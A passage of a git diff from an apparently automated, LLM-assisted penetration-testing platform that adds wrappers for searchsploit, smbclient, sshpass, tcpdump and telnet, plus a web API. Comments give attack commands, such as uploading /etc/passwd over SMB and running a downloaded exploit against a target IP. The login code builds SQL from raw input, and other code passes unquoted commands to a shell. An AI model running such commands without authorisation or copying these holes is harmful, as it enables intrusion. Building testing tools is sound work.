tokens = searchsploit_cmd.split()
if "-m" in tokens:
m_index = tokens.index("-m")
if m_index + 1 < len(tokens):
filename = tokens[m_index + 1]
else:
return instruction,timeout # -m 后面没有东西,直接返回
else:
return instruction,timeout # 没有-m选项,直接返回
if self.find_file_in_directory(filename,payload_dir):
return python_cmd,timeout
else:
timeout = 60*2
return instruction,timeout
else:
if "-m " in instruction: # 下载利用代码 if "-m " in instruction: # 下载利用代码
timeout = 60 timeout = 60*2
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
@ -31,6 +54,9 @@ class SearchsploitTool(ToolBase):
result = "下载完成" result = "下载完成"
else: else:
result = "下载失败" result = "下载失败"
elif instruction.startswith("python"):
#针对searchsploit -m 42745.py && python3 42745.py -u http://192.168.204.137 这样的情况searchsploit会先执行掉,剩余python代码
return result
else: #目前只遇到两种searchsploit命令格式: else: #目前只遇到两种searchsploit命令格式:
lines = clean_result.split("\n") lines = clean_result.split("\n")
exploits = [] exploits = []

3
tools/SmbclientTool.py

@ -1,9 +1,12 @@
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
import shlex
class SmbclientTool(ToolBase): class SmbclientTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 0
instruction = instruction.replace("\\", "\\\\")
#instruction = shlex.quote(instruction) #smbclient \\\\192.168.204.137\\tmp -N -c 'put /etc/passwd test_upload; rm test_upload' 针对这样的指令会出错
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):

13
tools/SmbmapTool.py

@ -0,0 +1,13 @@
from tools.ToolBase import ToolBase
class SmbmapTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
if " grep " not in instruction:
instruction =instruction.strip() + " | grep -E 'READ|WRITE|Disk|path'"
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

77
tools/SshpassTool.py

@ -0,0 +1,77 @@
from tools.ToolBase import ToolBase
import os
import shlex
import subprocess
import tempfile
class SshpassTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 使用 shlex.quote 对 str_instruction 进行安全包装,确保整个命令作为一个参数传递
safe_instr = shlex.quote(str_instruction.strip())
# 构建 script 命令
# 注意:此时 safe_instr 包含单引号,确保整个 -c 参数不被拆分
script_cmd = f"script -q -c {safe_instr} {output_file}"
# 选项 -q 表示静默(quiet),减少不必要的输出
# # 构建并执行 script 命令
# script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
if timeout ==0:
result = subprocess.run(script_cmd, shell=True, text=True)
else:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

73
tools/TcpdumpTool.py

@ -0,0 +1,73 @@
from tools.ToolBase import ToolBase
import os
import shlex
import subprocess
import tempfile
class TcpdumpTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 60*2
return instruction,timeout
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 使用 shlex.quote 对 str_instruction 进行安全包装,确保整个命令作为一个参数传递
safe_instr = shlex.quote(str_instruction.strip())
# 构建 script 命令
# 注意:此时 safe_instr 包含单引号,确保整个 -c 参数不被拆分
script_cmd = f"script -q -c {safe_instr} {output_file}"
# 选项 -q 表示静默(quiet),减少不必要的输出
# # 构建并执行 script 命令
# script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction1(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

4
tools/TelnetTool.py

@ -12,7 +12,7 @@ from tools.ToolBase import ToolBase
class TelnetTool(ToolBase): class TelnetTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 60
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
@ -103,12 +103,12 @@ class TelnetTool(ToolBase):
ext_params["is_user"] = True ext_params["is_user"] = True
return True,instruction,output,output,ext_params return True,instruction,output,output,ext_params
host = parts[1] host = parts[1]
port = 0
try: try:
port = int(parts[2]) port = int(parts[2])
except ValueError: except ValueError:
output = "端口转换失败" output = "端口转换失败"
ext_params["is_user"] = True ext_params["is_user"] = True
return True, instruction, output, output, ext_params
if port == 25: if port == 25:
output = self.smtp_injection_test(instruction,host,port) output = self.smtp_injection_test(instruction,host,port)
else:#其他默认subprocess执行 else:#其他默认subprocess执行

82
tools/ToolBase.py

@ -10,16 +10,14 @@ import abc
import subprocess import subprocess
import argparse import argparse
import shlex import shlex
import sys import subprocess
import tempfile
import os
from myutils.ReturnParams import ReturnParams from myutils.ReturnParams import ReturnParams
class ToolBase(abc.ABC): class ToolBase(abc.ABC):
def __init__(self): def get_time_out(self):
#self.res_type = 0 #补充一个结果类型 0-初始状态,1-有安全问题, return 60*30
#由于工具类会被多个线程调用,全局变量不能修改,只能读取
pass
def create_extparams(self): def create_extparams(self):
ext_params = ReturnParams() ext_params = ReturnParams()
@ -47,6 +45,9 @@ class ToolBase(abc.ABC):
""" """
if command.strip().startswith("mkdir"): if command.strip().startswith("mkdir"):
return "" return ""
#额外指令排除:ssh -o 不是输出结果到文件
if "ssh" in command:
return ""
if valid_flags is None: if valid_flags is None:
valid_flags = ['-o', '-oN', '-oG', '-output'] valid_flags = ['-o', '-oN', '-oG', '-output']
@ -88,6 +89,41 @@ class ToolBase(abc.ABC):
print(f"错误: 无权限读取文件 {filename}") print(f"错误: 无权限读取文件 {filename}")
return content return content
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 构建并执行 script 命令
script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction(self, instruction_old): def execute_instruction(self, instruction_old):
''' '''
执行指令验证合法性 -> 执行 -> 分析结果 执行指令验证合法性 -> 执行 -> 分析结果
@ -131,27 +167,31 @@ class ToolBase(abc.ABC):
else: else:
stderr = result.stderr stderr = result.stderr
stdout = result.stdout stdout = result.stdout
except subprocess.TimeoutExpired as e:
stdout = e.stdout if e.stdout is not None else ""
stderr = e.stderr if e.stderr is not None else ""
ext_params.is_user = True #对于超时的也需要人工进行确认,是否是预期的超时
except Exception as e:
ext_params.is_user = True
return False,instruction,f"执行失败:{str(e)}","",ext_params #执行失败,提交给人工确认指令的正确性
# 第三步:分析执行结果 # 第三步:分析执行结果
# if result.returncode == 0: # 执行正确
# output = stdout
if stdout:
output = stdout output = stdout
if stderr: else:
output += stderr if result.returncode ==28: #curl 命令超时
if isinstance(output,bytes):#若是bytes则转成str output = "指令执行超时!"
else: #执行错误只拿错误信息
output = stderr
if isinstance(output, bytes): # 若是bytes则转成str
output = output.decode('utf-8', errors='ignore') output = output.decode('utf-8', errors='ignore')
analysis = self.analyze_result(output,instruction,stderr,stdout) analysis = self.analyze_result(output, instruction, stderr, stdout)
if not analysis: # analysis为“” 不提交LLM
ext_params.is_user = True
return True, instruction, analysis, output, ext_params
if not analysis: #analysis为“” 不提交LLM except subprocess.TimeoutExpired:
ext_params.is_user = True #对于超时的也需要人工进行确认,是否是预期的超时
return False, instruction, f"执行超时:{str(timeout)}", "", ext_params # 执行失败,提交给人工确认指令的正确性
except Exception as e:
ext_params.is_user = True ext_params.is_user = True
#return False,instruction,analysis,output,ext_params -- 单节点后都要提交结果 return False,instruction,f"执行失败:{str(e)}","",ext_params #执行失败,提交给人工确认指令的正确性
return True,instruction, analysis,output,ext_params
@abc.abstractmethod @abc.abstractmethod
def validate_instruction(self, instruction:str): def validate_instruction(self, instruction:str):

11
tools/XvfbrunTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class XvfbrunTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

2
web/API/__init__.py

@ -1,4 +1,4 @@
from quart import Blueprint from quart import Blueprint
#定义模块 #定义模块
api = Blueprint('api',__name__) api = Blueprint('api',__name__)
from . import user,task,wsm from . import user,task,wsm,system

23
web/API/system.py

@ -0,0 +1,23 @@
from . import api
from mycode.DBManager import app_DBM
from myutils.ReManager import mReM
from quart import Quart, render_template, redirect, url_for, request,jsonify
@api.route('/system/getinfo',methods=['GET'])
async def get_system_info():
data = app_DBM.getsystem_info()
return jsonify({"local_ip":data[0],"version":data[1]})
@api.route('/system/updateip',methods=['POST'])
async def update_local_ip():
data = await request.get_json()
local_ip = data.get("local_ip")
if mReM.is_valid_ip(local_ip):
bsuccess = app_DBM.update_localip(local_ip)
error = ""
if not bsuccess:
error = "修改IP地址失败!"
else:
bsuccess = False
error = "IP不合法"
return jsonify({"bsuccess":bsuccess,"error":error})

49
web/API/task.py

@ -46,6 +46,15 @@ async def over_task():
bsuccess,error = g_TaskM.over_task(task_id) bsuccess,error = g_TaskM.over_task(task_id)
return jsonify({"bsuccess": bsuccess, "error": error}) return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/deltask',methods=['POST'])
async def del_task():
data = await request.get_json()
task_id = data.get("task_id")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
bsuccess,error = g_TaskM.del_task(task_id)
return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/getlist',methods=['GET']) @api.route('/task/getlist',methods=['GET'])
async def get_task_list(): async def get_task_list():
@ -59,24 +68,24 @@ async def get_task_list():
@api.route('/task/getinstr',methods=['POST']) @api.route('/task/getinstr',methods=['POST'])
async def get_instr(): async def get_instr():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("cur_task_id")
node_name = data.get("nodeName") node_name = data.get("nodeName")
if not task_id: if not task_id:
return jsonify({'error': 'Missing task_id'}), 400 return jsonify({'error': 'Missing task_id'}), 400
instrs = app_DBM.get_task_instrs(task_id,node_name) instrs = app_DBM.get_task_instrs(task_id,node_name)
return jsonify(instrs) return jsonify({"instrs":instrs})
@api.route('/task/getvul',methods=['POST']) @api.route('/task/getvul',methods=['POST'])
async def get_vul(): async def get_vul():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("cur_task_id")
node_name = data.get("nodeName") node_name = data.get("nodeName")
vul_type = data.get("vulType") vul_type = data.get("vulType")
vul_level = data.get("vulLevel") vul_level = data.get("vulLevel")
if not task_id: if not task_id:
return jsonify({'error': 'Missing task_id'}), 400 return jsonify({'error': 'Missing task_id'}), 400
vuls = app_DBM.get_task_vul(task_id,node_name,vul_type,vul_level) vuls = app_DBM.get_task_vul(task_id,node_name,vul_type,vul_level)
return jsonify(vuls) return jsonify({"vuls":vuls})
@api.route('/task/gettree',methods=['POST']) @api.route('/task/gettree',methods=['POST'])
async def get_tree(): async def get_tree():
@ -87,6 +96,15 @@ async def get_tree():
tree_dict = g_TaskM.get_node_tree(task_id) tree_dict = g_TaskM.get_node_tree(task_id)
return jsonify({"tree":tree_dict}) return jsonify({"tree":tree_dict})
@api.route('/task/gethistree',methods=['POST'])
async def get_his_tree():
data = await request.get_json()
task_id = data.get("task_id")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
tree_dict = g_TaskM.get_his_node_tree(task_id)
return jsonify({"tree":tree_dict})
@api.route('/task/taskcontrol',methods=['POST']) @api.route('/task/taskcontrol',methods=['POST'])
async def task_status_control(): async def task_status_control():
'''控制任务状态 '''控制任务状态
@ -160,6 +178,18 @@ async def node_get_instr():
todoInstrs = g_TaskM.get_task_node_todo_instr(task_id,nodepath) todoInstrs = g_TaskM.get_task_node_todo_instr(task_id,nodepath)
return jsonify({"doneInstrs":doneInstrs,"todoInstrs":todoInstrs}) return jsonify({"doneInstrs":doneInstrs,"todoInstrs":todoInstrs})
@api.route('/task/hisnodegetinstr',methods=['POST'])
async def his_node_get_instr():
data = await request.get_json()
task_id = data.get("task_id")
nodepath = data.get("node_path")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
#返回 { doneInstrs: [...], todoInstrs: [...] }
doneInstrs = app_DBM.get_task_node_done_instr(task_id,nodepath)
#todoInstrs = g_TaskM.get_task_node_todo_instr(task_id,nodepath)
return jsonify({"doneInstrs":doneInstrs})
@api.route('/task/nodegetmsg',methods=['POST']) @api.route('/task/nodegetmsg',methods=['POST'])
async def node_get_msg(): async def node_get_msg():
data = await request.get_json() data = await request.get_json()
@ -194,6 +224,17 @@ async def node_del_instr():
return jsonify({"bsuccess": bsuccess, "error": error}) return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/histasks',methods=['POST'])
async def get_his_task():
data = await request.get_json()
target_name = data.get("target_name")
safe_rank = data.get("safe_rank")
llm_type = data.get("llm_type")
start_time= data.get("start_time")
end_time= data.get("end_time")
his_tasks = g_TaskM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time)
return jsonify({"his_tasks":his_tasks})

26
web/API/user.py

@ -1,14 +1,15 @@
import os import os
import hashlib import hashlib
import uuid
import aioredis
from mycode.DBManager import app_DBM from mycode.DBManager import app_DBM
from quart import Quart, render_template, request, session, redirect, url_for,jsonify,send_file,flash from quart import Quart, render_template, request, session, redirect, url_for,jsonify,send_file,flash,current_app
from quart_sqlalchemy import SQLAlchemy from quart_sqlalchemy import SQLAlchemy
from quart_session import Session from quart_session import Session
from web.common.utils import generate_captcha,login_required from web.common.utils import generate_captcha,login_required
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
from . import api
from web.common.errors import handle_error from web.common.errors import handle_error
from . import api
@api.route('/user/code',methods=['GET']) @api.route('/user/code',methods=['GET'])
async def user_get_code(): #获取验证码 async def user_get_code(): #获取验证码
@ -38,13 +39,18 @@ async def user_login(): #用户登录
#return jsonify({'error': '验证码错误'}), 400 #return jsonify({'error': '验证码错误'}), 400
#return 'captcha error!', 400 #return 'captcha error!', 400
#比对用户名和密码 #比对用户名和密码
strsql = f"select password from user where username = '{username}'" strsql = f"select password from user where username = '{username}';"
db_password = app_DBM.do_select(strsql,1) db_password = app_DBM.do_select(strsql,1)
passwd_md5 = get_md5(password) passwd_md5 = get_md5(password)
if db_password: if db_password:
if db_password[0] == passwd_md5: #后续需要对密码进行MD5加默 if db_password[0] == passwd_md5: #后续需要对密码进行MD5加默
print("登录成功") # 生成新的登录 token
login_token = uuid.uuid4().hex
# 写入 Redis:key = user_token:<username>
await current_app.redis.set(f"user_token:{username}", login_token)
session['user'] = username session['user'] = username
session['token'] = login_token
return redirect(url_for('main.get_html', html='index.html')) return redirect(url_for('main.get_html', html='index.html'))
await flash('用户名或密码错误', 'error') await flash('用户名或密码错误', 'error')
return redirect(url_for('main.login')) return redirect(url_for('main.login'))
@ -52,7 +58,7 @@ async def user_login(): #用户登录
@api.route('/user/userinfo',methods=['GET']) @api.route('/user/userinfo',methods=['GET'])
@login_required @login_required
async def user_info(): #获取用户列表 async def user_info(): #获取用户列表
strsql = "select username,status,people,tellnum from user;"; strsql = "select username,status,people,tellnum from user;"
data = app_DBM.do_select(strsql) data = app_DBM.do_select(strsql)
if data: if data:
user_list = [{"username": user[0], "status": user[1], user_list = [{"username": user[0], "status": user[1],
@ -61,6 +67,14 @@ async def user_info(): #获取用户列表
else: else:
return jsonify(0) return jsonify(0)
#登出接口,清除 Redis 和 Session ---
@api.route('/user/logout')
async def user_logout():
username = session.get('user')
if username:
await current_app.redis.delete(f"user_token:{username}")
session.clear()
return redirect(url_for('main.login'))
@api.route('/user/adduser',methods=['POST']) @api.route('/user/adduser',methods=['POST'])
@login_required @login_required

15
web/__init__.py

@ -40,21 +40,16 @@ def create_app():
app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。 app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密 app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_TYPE'] = 'redis' # session类型 app.config['SESSION_TYPE'] = 'redis' # session类型
app.config['SESSION_REDIS'] = aioredis.from_url('redis://localhost:6379') redis_client = aioredis.from_url('redis://localhost:6379', encoding="utf-8",decode_responses=True)
app.config['SESSION_REDIS'] = redis_client
Session(app) Session(app)
# 同时把一个全局 redis 客户端挂到 app
app.redis = redis_client
# 注册main # 注册main
app.register_blueprint(main) app.register_blueprint(main)
#注册API模块 #注册API模块
app.register_blueprint(api,url_prefix = '/api') app.register_blueprint(api,url_prefix = '/api')
return app return app
def login_required(f):
@wraps(f)
async def decorated_function(*args, **kwargs):
if 'user' not in session:
return redirect(url_for('main.login'))
return await f(*args, **kwargs)
return decorated_function

18
web/common/utils.py

@ -3,7 +3,7 @@ import random
import string import string
import io import io
from functools import wraps from functools import wraps
from quart import session, redirect, url_for from quart import session, redirect, url_for, flash,current_app
def generate_captcha(): def generate_captcha():
characters = string.ascii_uppercase + string.digits characters = string.ascii_uppercase + string.digits
@ -37,7 +37,19 @@ def verify_captcha(user_input, actual_captcha):
def login_required(f): def login_required(f):
@wraps(f) @wraps(f)
async def decorated_function(*args, **kwargs): async def decorated_function(*args, **kwargs):
if 'user' not in session: username = session.get('user')
return redirect(url_for('main.index',error='未登录,请重新登录')) token = session.get('token')
if not username or not token:
await flash('未登录,请重新登录', 'error')
return redirect(url_for('main.login'))
#从redis取最新的token
redis_key = f"user_token:{username}"
server_token = await current_app.redis.get(redis_key)
if server_token is None or server_token != token:
# 如果不匹配,说明此账号已在其他地方登录
session.clear()
await flash('您的账号已在其他设备登录,请重新登录', 'error')
return redirect(url_for('main.login'))
return await f(*args, **kwargs) return await f(*args, **kwargs)
return decorated_function return decorated_function

12
web/main/routes.py

@ -5,24 +5,16 @@ from quart import session, redirect, url_for,flash
from functools import wraps from functools import wraps
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
from werkzeug.utils import secure_filename from werkzeug.utils import secure_filename
from web.common.utils import login_required
''' '''
页面路由 页面路由
''' '''
def login_required(f):
@wraps(f)
async def decorated_function(*args, **kwargs):
if 'user' not in session:
return redirect(url_for('main.login',error='未登录,请重新登录'))
return await f(*args, **kwargs)
return decorated_function
@main.route('/') @main.route('/')
async def index(): async def index():
#return await render_template('实时预览.html')
return await render_template('login.html') return await render_template('login.html')
#return await render_template('index_webrtc.html')
@main.route('/login', methods=['GET', 'POST']) @main.route('/login', methods=['GET', 'POST'])
async def login(): async def login():

1
web/main/static/resources/scripts/node_tree.js

@ -373,7 +373,6 @@
let todoInstrs = []; // 待执行指令的所有数据 let todoInstrs = []; // 待执行指令的所有数据
let donePage = 1; // 已执行指令当前页 let donePage = 1; // 已执行指令当前页
let todoPage = 1; // 待执行指令当前页 let todoPage = 1; // 待执行指令当前页
const pageSize = 10; // 每页固定显示 10 行
document.getElementById("msgModal").addEventListener("hidden.bs.modal", () => { document.getElementById("msgModal").addEventListener("hidden.bs.modal", () => {
document.activeElement.blur(); // 清除当前焦点 document.activeElement.blur(); // 清除当前焦点

111
web/main/static/resources/scripts/task_manager.js

@ -37,12 +37,13 @@ document.addEventListener("DOMContentLoaded", async () => {
const manualRadio = document.getElementById("manualMode"); const manualRadio = document.getElementById("manualMode");
autoRadio.addEventListener("click", () => updateTestMode(1)); autoRadio.addEventListener("click", () => updateTestMode(1));
manualRadio.addEventListener("click", () => updateTestMode(0)); manualRadio.addEventListener("click", () => updateTestMode(0));
//tab页点击刷新数据
document.getElementById("testInstructionsTab").addEventListener("click",()=>searchInstructions());
document.getElementById("vulnerabilitiesTab").addEventListener("click",()=>searchVulnerabilities());
//指令和漏洞数据的导出按钮点击事件
document.getElementById("instrExportBtn").addEventListener("click",()=>ExportInstructions());
document.getElementById("vulExportBtn").addEventListener("click",()=>ExportVuls());
//双击任务列表节点读取数据
searchInstructions();
searchVulnerabilities();
// renderTableRows(document.querySelector("#instrTable tbody"), []);
// renderTableRows(document.querySelector("#vulTable tbody"), []);
}); });
@ -146,6 +147,11 @@ function selected_task_item(){
setSetpBtnStatus() setSetpBtnStatus()
//加载任务其他信息--node_tree.js //加载任务其他信息--node_tree.js
loadNodeTree(cur_task_id); loadNodeTree(cur_task_id);
//加载测试指令和漏洞数据
searchInstructions();
searchVulnerabilities();
// renderTableRows(document.querySelector("#instrTable tbody"), []);
// renderTableRows(document.querySelector("#vulTable tbody"), []);
} }
//--------------------任务基本信息区域-------------------- //--------------------任务基本信息区域--------------------
@ -367,6 +373,7 @@ async function one_step_task(){
} }
//------------------测试数据和漏洞数据tab------------------- //------------------测试数据和漏洞数据tab-------------------
const pageSize = 10;
// 复用:根据返回的数据数组渲染表格 tbody,保证固定 10 行 // 复用:根据返回的数据数组渲染表格 tbody,保证固定 10 行
function renderTableRows(tbody, rowsData) { function renderTableRows(tbody, rowsData) {
tbody.innerHTML = ""; tbody.innerHTML = "";
@ -383,7 +390,7 @@ function renderTableRows(tbody, rowsData) {
}); });
// 补足空行 // 补足空行
const rowCount = rowsData.length; const rowCount = rowsData.length;
for (let i = rowCount; i < 10; i++) { for (let i = rowCount; i < pageSize; i++) {
const tr = document.createElement("tr"); const tr = document.createElement("tr");
for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) { for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) {
const td = document.createElement("td"); const td = document.createElement("td");
@ -394,6 +401,23 @@ function renderTableRows(tbody, rowsData) {
} }
} }
//--------------------------测试指令-------------------------------
let allInstrs = [];
let currentInstrPage = 1;
function renderInstrPage(page) {
currentInstrPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allInstrs.slice(start, end);
const tbody = document.querySelector("#instrTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("instrNext").dataset.page = (end < allInstrs.length) ? page + 1 : page;
}
// 查询测试指令 // 查询测试指令
async function searchInstructions(page = 1) { async function searchInstructions(page = 1) {
if(cur_task_id === 0){ if(cur_task_id === 0){
@ -416,15 +440,48 @@ async function searchInstructions(page = 1) {
throw new Error(errorData.error || `HTTP错误 ${res.status}`); throw new Error(errorData.error || `HTTP错误 ${res.status}`);
} }
const data = await res.json(); const data = await res.json();
// data.instrs 数组中包含查询结果 allInstrs = data.instrs;
renderTableRows(document.querySelector("#instrTable tbody"), data.instrs || []); renderInstrPage(1); //显示第一页数据
// 此处可更新分页控件(示例只简单绑定上一页下一页)
document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("instrNext").dataset.page = page + 1;
} catch (error) { } catch (error) {
console.error("获取测试指令失败:", error); console.error("获取测试指令失败:", error);
} }
} }
//导出测试指令数据
async function ExportInstructions(){
alert("导出指令功能实现中。。。");
}
// 绑定测试指令查询按钮事件
document.getElementById("instrSearchBtn").addEventListener("click", () => {
searchInstructions();
});
// 绑定测试指令分页点击事件
document.getElementById("instrPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);
});
document.getElementById("instrNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);
});
//------------------漏洞数据---------------------------------
let allVuls = [];
let currentVulPage = 1;
function renderVulPage(page) {
currentVulPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allVuls.slice(start, end);
const tbody = document.querySelector("#vulTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("vulNext").dataset.page = (end < allVuls.length) ? page + 1 : page;
}
// 查询漏洞数据 // 查询漏洞数据
async function searchVulnerabilities(page = 1) { async function searchVulnerabilities(page = 1) {
@ -450,27 +507,17 @@ async function searchVulnerabilities(page = 1) {
throw new Error(errorData.error || `HTTP错误 ${res.status}`); throw new Error(errorData.error || `HTTP错误 ${res.status}`);
} }
const data = await res.json(); const data = await res.json();
renderTableRows(document.querySelector("#vulTable tbody"), data.vuls || []); allVuls = data.vuls;
document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1; renderVulPage(1)
document.getElementById("vulNext").dataset.page = page + 1;
} catch (error) { } catch (error) {
console.error("获取漏洞数据失败:", error); console.error("获取漏洞数据失败:", error);
} }
} }
// 绑定测试指令查询按钮事件 //导出漏洞数据
document.getElementById("instrSearchBtn").addEventListener("click", () => { async function ExportVuls(){
searchInstructions(); alert("导出漏洞功能实现中。。。");
}); }
// 绑定测试指令分页点击事件
document.getElementById("instrPrev").addEventListener("click", (e) => {
e.preventDefault();
searchInstructions(parseInt(e.target.dataset.page));
});
document.getElementById("instrNext").addEventListener("click", (e) => {
e.preventDefault();
searchInstructions(parseInt(e.target.dataset.page));
});
// 绑定漏洞数据查询按钮事件 // 绑定漏洞数据查询按钮事件
document.getElementById("vulSearchBtn").addEventListener("click", () => { document.getElementById("vulSearchBtn").addEventListener("click", () => {
@ -478,10 +525,10 @@ document.getElementById("vulSearchBtn").addEventListener("click", () => {
}); });
// 绑定漏洞数据分页点击事件 // 绑定漏洞数据分页点击事件
document.getElementById("vulPrev").addEventListener("click", (e) => { document.getElementById("vulPrev").addEventListener("click", (e) => {
e.preventDefault(); const page = parseInt(e.target.dataset.page, 10);
searchVulnerabilities(parseInt(e.target.dataset.page)); renderVulPage(page);
}); });
document.getElementById("vulNext").addEventListener("click", (e) => { document.getElementById("vulNext").addEventListener("click", (e) => {
e.preventDefault(); const page = parseInt(e.target.dataset.page, 10);
searchVulnerabilities(parseInt(e.target.dataset.page)); renderVulPage(page);
}); });

659
web/main/static/resources/scripts/task_modal.js

@ -0,0 +1,659 @@
// 全局变量,用于保存当前选中的节点数据
let selectedNodeData = null;
/**
* 根据节点数据递归生成树形结构返回 <li> 元素
* 假设节点数据格式
* {
* "node_name":node.name,
* "node_path":node.path,
* "node_status":node.status,
* "node_bwork":node.bwork,
* "node_vultype":node.vul_type,
* "node_vulgrade":node.vul_grade,
* children: [ { ... }, { ... } ]
* }
*/
function generateTreeHTML(nodeData) {
const li = document.createElement("li");
const nodeSpan = document.createElement("span");
nodeSpan.className = "tree-node";
//设置data属性
nodeSpan.setAttribute("data-node_name", nodeData.node_name);
nodeSpan.setAttribute("data-node_path", nodeData.node_path);
nodeSpan.setAttribute("data-node_status", nodeData.node_status);
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
